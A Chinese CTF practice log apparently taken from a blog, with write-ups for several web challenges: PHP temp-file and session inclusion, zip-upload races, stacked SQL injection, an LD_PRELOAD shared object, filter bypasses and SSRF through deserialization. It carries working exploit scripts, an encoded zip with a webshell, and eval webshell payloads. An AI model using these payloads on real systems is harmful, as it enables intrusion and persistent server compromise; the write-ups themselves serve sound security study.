当前位置: 首页 > news >正文

刷题记录(2023.3.14 - 2023.3.18)

[第五空间 2021]EasyCleanup

临时文件包含考点

分析源码,两个特殊的点,一个是 eval,另一个是 include

eval 经过了 strlen filter checkNums 三个函数

include 经过了 strlen filter 两个函数

filter 检测是否包含特定的关键字或字符

function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; 
} 

checkNums 检查字母和数字的数量

看一下这道题的 PHP 版本 PHP/5.5.9-1

PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理

工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。

查看 php 配置

?mode=eval
phpinfo关于session的设置session.save_path = /tmp
session.use_strict_mode = Off
session.upload_progress.cleanup = On
session.upload_progress.enabled	= On
......

脚本包含

import requests
import threading
sess_id="1"
s=requests.session()
url="http://114.115.134.72:32770/"
def session_upload():while True:res= s.post(url=f"{url}/?page=/tmp/session/sess_{sess_id}",data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"},files={"file": ('xxx.txt', open("shell.txt", "r"))},cookies={'PHPSESSID':sess_id})
for i in range(100):thread=threading.Thread(target=session_upload)thread.start()

[鹏城杯 2022]压缩包

分析源码

<?php
highlight_file(__FILE__);function removedir($dir){$list= scandir($dir);foreach ($list as  $value) {if(is_file($dir.'/'.$value)){unlink($dir.'/'.$value);}else if($value!="."&&$value!=".."){removedir($dir.'/'.$value);}}
}function unzip($filename){$result = [];$zip = new ZipArchive();$zip->open($filename);$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);if(!is_dir($dir)){mkdir($dir);}if($zip->extractTo($dir)){foreach (scandir($dir) as  $value) {$file_ext=strrchr($value, '.');$file_ext=strtolower($file_ext); //转换为小写$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext=trim($file_ext); //收尾去空if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){removedir($dir);}if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){if(is_file($dir."/".$value)){unlink($dir."/".$value);}else{if($value!="."&&$value!="..")array_push($result,$value);}}}$zip->close();unlink($filename);return json_encode($result);}else{return false;}}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);?>

第一种:

用 yu22x 师傅博客的脚本直接打,因为环境问题可能会打不通

import requests
import hashlib
import threading
import base64url = "http://1.14.71.254:28451/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data={'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):while True:resp=session.post(url,data=data)
def read(session):while True:resp=session.get(url+f'static/upload/{md}/1.php')if resp.status_code==200:print("success")
if __name__=="__main__":event = threading.Event()with requests.session() as session:for i in range(1, 30):threading.Thread(target=write, args=(session,)).start()for i in range(1, 30):threading.Thread(target=read, args=(session,)).start()event.set()

第二种:

共两个文件,一个 PHP webshell 文件 a.php,一个文本文件 b.txt

结构:

压缩包
├─ a.php
├─ b.txt
└─ shell.zip

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell

然后将这两个文件压缩成 shell.zip,然后使用010编辑器把压缩包打开,把 b.txt 改成对应斜杠的名,这种命名方式在 Linux 下会报错,所以在解压完 a.php 后会报错,不会执行删除操作,则 a.php 就留在服务器上了

在这里插入图片描述

?content=UEsDBBQAAAAIAAijc1YqE230GgAAABgAAAAFAAAAYS5waHCzsS/IKFBILUvM0VCJD/APDok2jNW0trcDAFBLAwQUAAAAAAAYo3NW0mNIiAMAAAADAAAABQAAAC8vLy8vMTIzUEsBAhQAFAAAAAgACKNzVioTbfQaAAAAGAAAAAUAJAAAAAAAAAAgAAAAAAAAAGEucGhwCgAgAAAAAAABABgAp0J4t11a2QG64YK3XVrZAW9FlD5dWtkBUEsBAhQAFAAAAAAAGKNzVtJjSIgDAAAAAwAAAAUAJAAAAAAAAAAgAAAAPQAAAC8vLy8vCgAgAAAAAAABABgALJnXyl1a2QGw3TDLXVrZAcitdENdWtkBUEsFBgAAAAACAAIArgAAAGMAAAAAAA==

在这里插入图片描述

参考文章:

https://blog.csdn.net/miuzzx/article/details/125576866

http://www.hackdig.com/07/hack-710909.htm

[强网杯 2019]随便注

注入题

?inject=1'error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
?inject=1' selectreturn preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

在这里插入图片描述
用堆叠注入

查库

?inject=-1';show databases;
array(1) {[0]=>string(11) "ctftraining"
}array(1) {[0]=>string(18) "information_schema"
}array(1) {[0]=>string(5) "mysql"
}array(1) {[0]=>string(18) "performance_schema"
}array(1) {[0]=>string(9) "supersqli"
}array(1) {[0]=>string(4) "test"
}

查所有的表格

?inject=-1';show tables;
array(1) {[0]=>string(16) "1919810931114514"
}array(1) {[0]=>string(5) "words"
}
?inject=-1';show columns from `1919810931114514`;array(6) {[0]=>string(4) "flag"[1]=>string(12) "varchar(100)"[2]=>string(2) "NO"[3]=>string(0) ""[4]=>NULL[5]=>string(0) ""
}索引为0的元素:列的名称,"flag"索引为1的元素:列的数据类型,"varchar(100)",一个最长长度为100的字符串类型索引为2的元素:列是否允许为空,"NO",不允许为空索引为3的元素:列的默认值索引为4的元素:列是否为自增长的,此处为 NULL,不是自增长列索引为5的元素:列的注释

到这有四种方法获取 flag

第一种:

通过预编译的方式拼接 select 关键字:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

第二种:

直接将下面的语句进行16进制编码

select * from `1919810931114514` 

73656c656374202a2066726f6d20603139313938313039333131313435313460
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

定义一个变量并将 sql 语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

第三种:

输入 1 后,即显示 id 为1的数据,猜测默认显示的是 words 表的数据

查看words表结构第一个字段名为 id,然后把 words 表改成 words1(区分即可),然后把 1919810931114514 表改成 words,再把列名 flag 改成 id

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后

1' or 1 = 1 #

第四种:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

参考文章:

https://zhuanlan.zhihu.com/p/545713669

[虎符CTF 2022]ezphp

考点:Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,我们可以通过重复发包so造成文件缓存,然后用 LD_PRELOAD 去加载我们这个动态链接库

exp.so

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}

编译

gcc -shared -fPIC exp.c -o exp.so

exp.py

import  threading, requests
URL2 = f'http://192.168.56.5:7005/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = Falsedef uploader():print('[+] starting uploader')with open("exp.so","rb") as f:data1 = f.read()+b'0'*1024*1000#print(data1)while not done:requests.get(URL2, data=data1)
for _ in range(16):t = threading.Thread(target=uploader)t.start()
def bruter(pid):global donewhile not done:print(f'[+] brute loop restarted: {pid}')for fd in range(4, 32):try:requests.get(URL2, params={'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"})except:passfor pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()

访问生成的临时 shell

URL/shell.php

POST cmd=system(“cat /*”);

得到 flag

参考文章:

2022虎符CTF-ezphp分析

hxp CTF 2021 跳跳糖社区

唯独你没懂战队 wp

[鹏城杯 2022]简单的php

 <?php
show_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>

!%FF被用作内部函数之间的隔离符。这是因为在 URL 编码中,%FF通常是被认为是无效字符的,因为它超出了 ASCII 字符集的范围。因此,使用!%FF作为隔离符可以确保函数调用中的字符不会被错误地解析或转换。

同理可以使用的也有 %8F 等,ASCII 字符集的范围 0-127

取反构造

?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

在这里插入图片描述

[网鼎杯 2018]Fakebook

注册 admin 登录成功,很像 sql 的表

在这里插入图片描述
username 超链接点进去后在页面没有什么特殊的点,但是 URL 有个 no 参数

在这里插入图片描述

?no=1'

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

查字段

1 order by 4

无报错

1 order by 5

报错

union select 被过滤,包括空格

-1 union/**/select 1,2,3,4

在这里插入图片描述
网页内容左上角报错信息有反序列化函数 unserialize()

查表

-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
username	                   age	                   blogusers

查列

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username	                   age	                   blogno,username,passwd,data

查询 users 表对应的数据

-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}	

这是我的注册信息,所以没用,得找其他方法

扫描后台可扫到 user.php.bak

<?php
highlight_file(__FILE__);class UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容

使用 sql 的 4 字段对应的 data 修改序列化内容

file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

对应的 sql 语句

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述
访问链接,查看源码
在这里插入图片描述

[RoarCTF 2019]Easy Java

点击 help 后,java 程序错误
在这里插入图片描述
且 URL/Download?filename=help.docx

存在 WEB-INF/web.xml 泄露

WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

<servlet> 标签定义了一个 Servlet。<servlet-name> 标签定义了 Servlet 的名字。<servlet-class> 标签定义了 Servlet 的类名。<servlet-mapping> 标签将 Servlet 映射到一个 URL。<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 <servlet><servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述

解码得
在这里插入图片描述

[NPUCTF2020]ezinclude

在这里插入图片描述
首页直接报错,源码中有信息

<html>
<!-- md5($secret.$name)===$pass -->
</html>

测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值

?pass=fa25e54758d5d5c1927781a6ede89f8a

<script language="javascript" type="text/javascript">window.location.href="flflflflag.php";</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

在这里插入图片描述

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

dir.php

<?php
var_dump(scandir('/tmp'));
?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留

使用脚本发送包含文件区块的数据包

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述

在这里插入图片描述

本文脚本均来自网上收集,代码持续完善分析中…

相关文章:

刷题记录(2023.3.14 - 2023.3.18)

[第五空间 2021]EasyCleanup 临时文件包含考点 分析源码&#xff0c;两个特殊的点&#xff0c;一个是 eval&#xff0c;另一个是 include eval 经过了 strlen filter checkNums 三个函数 include 经过了 strlen filter 两个函数 filter 检测是否包含特定的关键字或字符 fun…...

http协议 - 笔记

1 http协议 -- post,get,delete 如何使用http协议post - /api/v1/User/1 要使用 HTTP 协议 POST 方法向 /api/v1/User/1 发送请求,您可以使用一个 HTTP 客户端(例如 Postman、cURL 或浏览器扩展程序)并按照以下步骤操作: 打开您的 HTTP 客户端。在 URL 地址栏中输入 /a…...

第十八天 Vue-前端工程化总结

目录 Vue-前端工程化 1. 前后端分离开发 1.1 介绍 1.2 Yapi 2. 前端工程化 2.1 环境准备 2.2 Vue项目简介 2.3 Vue项目开发流程 3. Vue组件库Element 3.1 快速入门 3.2 常用组件 3.3 案例 Vue-前端工程化 前面我们已经讲解了HTML、CSS、JavaScript以及Vue等知识。已…...

python网上选课系统django-PyCharm

学生选课信息管理系统&#xff0c;可以有效的对学生选课信息、学生个人信息、教师个人信息等等进行管理。 开发语言&#xff1a;Python 框架&#xff1a;django Python版本&#xff1a;python3.7.7 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat11 开发软件&#x…...

Java序列化与反序列化

优秀博文&#xff1a;IT-BLOG-CN 序列化&#xff1a;把对象转换为字节序列存储于磁盘或者进行网络传输的过程称为对象的序列化。 反序列化&#xff1a;把磁盘或网络节点上的字节序列恢复到对象的过程称为对象的反序列化。 一、序列化对象 【1】必须实现序列化接口Serializabl…...

【网络】网络层协议——IP

目录网络层IP协议IP基础知识IP地址IP报头格式网段划分CIDR特殊的IP地址IP地址的数量限制私有IP地址和公有IP地址路由IP总结网络层 在复杂的网络环境中确定一个合法的路径。 IP协议 IP协议作为整个TCP/IP中至关重要的协议&#xff0c;主要负责将数据包发送给最终的目标计算机…...

安装kubernetes

master110.10.10.10docker、kubelet、kubeadm、kubectlmaster210.10.10.11docker、kubelet、kubeadm、kubectlnode110.10.10.12docker、kubelet、kubeadm、kubectlnode210.10.10.13docker、kubelet、kubeadm、kubectl 1.关闭防火墙&#xff08;所有节点执行&#xff09; syste…...

三维点云转深度图

文章目录 目录 一、算法原理 算法流程 二、代码实现 1.Python代码 2....

Qt音视频开发27-ffmpeg视频旋转显示

一、前言 用手机或者平板拍摄的视频文件&#xff0c;很可能是旋转的&#xff0c;比如分辨率是1280x720&#xff0c;确是垂直的&#xff0c;相当于分辨率变成了720x1280&#xff0c;如果不做旋转处理的话&#xff0c;那脑袋必须歪着看才行&#xff0c;这样看起来太难受&#xf…...

python例程:《彩图版飞机大战》程序

目录开发环境要求运行方法《彩图版飞机大战》程序使用说明源码示例源码及说明文档下载路径开发环境要求 本系统的软件开发及运行环境具体如下。 操作系统&#xff1a;Windows 7、Windows 10。 Python版本&#xff1a;Python 3.7.1。 开发工具&#xff1a;PyCharm 2018。…...

【前端八股文】JavaScript系列:Set、Map、String常用属性方法

文章目录Set概念与arr的比较属性和方法并集、交集、差集Map概念属性和方法String用索引值和charAt()的区别charAt()和charCodeAt()方法的区别5个查找方法的区别如何把字符串分割为数组3个截取方法的区别大小写转换3个模式匹配方法&#xff08;正则表达式&#xff09;3个移除字符…...

跳跃-动态规划问题

跳跃-动态规划问题1、题目描述2、解题思路2.1 解法一&#xff1a;动态规划2.2 解法二&#xff1a;DFS深度优先搜索最大权值1、题目描述 小蓝在一个 n 行 m 列的方格图中玩一个游戏。 开始时&#xff0c;小蓝站在方格图的左上角&#xff0c;即第 11 行第 11 列。 小蓝可以在方格…...

Django笔记三十九之settings配置介绍

这一篇笔记介绍 Django 里 settings.py 里一些常用的配置项&#xff0c;这些配置有一些是在之前的笔记中有过介绍的&#xff0c;比如 logging 的日志配置&#xff0c;session 的会话配置等&#xff0c;这里就只做一下简单的回顾&#xff0c;有一些是之前没有介绍过的就着重介绍…...

【JavaSE】类和对象(中)

类和对象&#xff08;中&#xff09;4. this引用4.1 为什么要有this引用4.2 什么是this引用4.3 this引用的特性5. 对象的构造及初始化5.1 如何初始化对象5.2 构造方法&#xff08;构造器&#xff09;5.2.1 概念5.2.2 特性5.3 默认初始化5.4 就地初始化6. 封装6.1 封装的概念6.2…...

C语言例程:学生成绩管理程序

学生成绩管理程序 实例说明 编制一个统计存储在文件中的学生考试分数的管理程序。设学生成绩以一个学生一条记录的 形式存储在文件中&#xff0c;每个学生记录包含的信息有姓名、学号和各门功课的成绩。要求编制具有以 下几项功能的程序&#xff1a;求出各门课程的总分&#…...

完美日记母公司再度携手中国妇基会,以“创美人生”助力女性成长

撰稿 | 多客 来源 | 贝多财经 当春时节&#xff0c;梦想花开。和煦的三月暖阳&#xff0c;唤醒的不止是满城春意&#xff0c;更有逸仙电商“创美人生”公益项目播撒的一份希望。 3月8日“国际妇女节”当日&#xff0c;为积极响应我国促进共同富裕的政策倡导&#xff0c;助力相…...

【JaveEE】线程的创建及常见方法解析(Tread类)

目录 1.Tread类介绍 2线程的构造方法——创建线程 1.继承Thread类&#xff0c;重写run()方法 2.使用Runnbable接口创建线程 3.继承 Thread, 重写 run, 使用匿名内部类 4.实现 Runnable, 重写 run, 使用匿名内部类 5.使用 lambda 表达式&#xff08;重点掌握&#xff09;…...

Linux的诞生过程

个人简介&#xff1a;云计算网络运维专业人员&#xff0c;了解运维知识&#xff0c;掌握TCP/IP协议&#xff0c;每天分享网络运维知识与技能。座右铭&#xff1a;海不辞水&#xff0c;故能成其大&#xff1b;山不辞石&#xff0c;故能成其高。个人主页&#xff1a;小李会科技的…...

面部表情识别1:表情识别数据集(含下载链接)

面部表情识别1&#xff1a;表情识别数据集(含下载链接) 目录 面部表情识别1&#xff1a;表情识别数据集(含下载链接) 1.前言 2.表情识别数据集介绍 1.JAFFE数据集 2.KDEF&#xff08;Karolinska Directed Emotional Faces&#xff09;数据集 3.GENKI数据集 4.RaFD数据集…...

CSS实现文字凹凸效果

使用两个div分别用来实现凹凸效果&#xff1b;text-shadow语法 text-shadow: h-shadow v-shadow blur color; h-shadow&#xff1a;必需。水平阴影的位置。允许负值。 v-shadow &#xff1a;必需。垂直阴影的位置。允许负值。 blur&#xff1a;可选&#xff0c;模糊的距离。 co…...

【JavaEE】-- HTTP

1. HTTP是什么&#xff1f; HTTP&#xff08;全称为"超文本传输协议"&#xff09;是一种应用非常广泛的应用层协议&#xff0c;HTTP是基于TCP协议的一种应用层协议。 应用层协议&#xff1a;是计算机网络协议栈中最高层的协议&#xff0c;它定义了运行在不同主机上…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统&#xff0c;智慧工地全套源码&#xff0c;java版智慧工地源码&#xff0c;支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求&#xff0c;提供“平台网络终端”的整体解决方案&#xff0c;提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

Matlab | matlab常用命令总结

常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

ardupilot 开发环境eclipse 中import 缺少C++

目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

html-<abbr> 缩写或首字母缩略词

定义与作用 <abbr> 标签用于表示缩写或首字母缩略词&#xff0c;它可以帮助用户更好地理解缩写的含义&#xff0c;尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时&#xff0c;会显示一个提示框。 示例&#x…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码

目录 一、&#x1f468;‍&#x1f393;网站题目 二、✍️网站描述 三、&#x1f4da;网站介绍 四、&#x1f310;网站效果 五、&#x1fa93; 代码实现 &#x1f9f1;HTML 六、&#x1f947; 如何让学习不再盲目 七、&#x1f381;更多干货 一、&#x1f468;‍&#x1f…...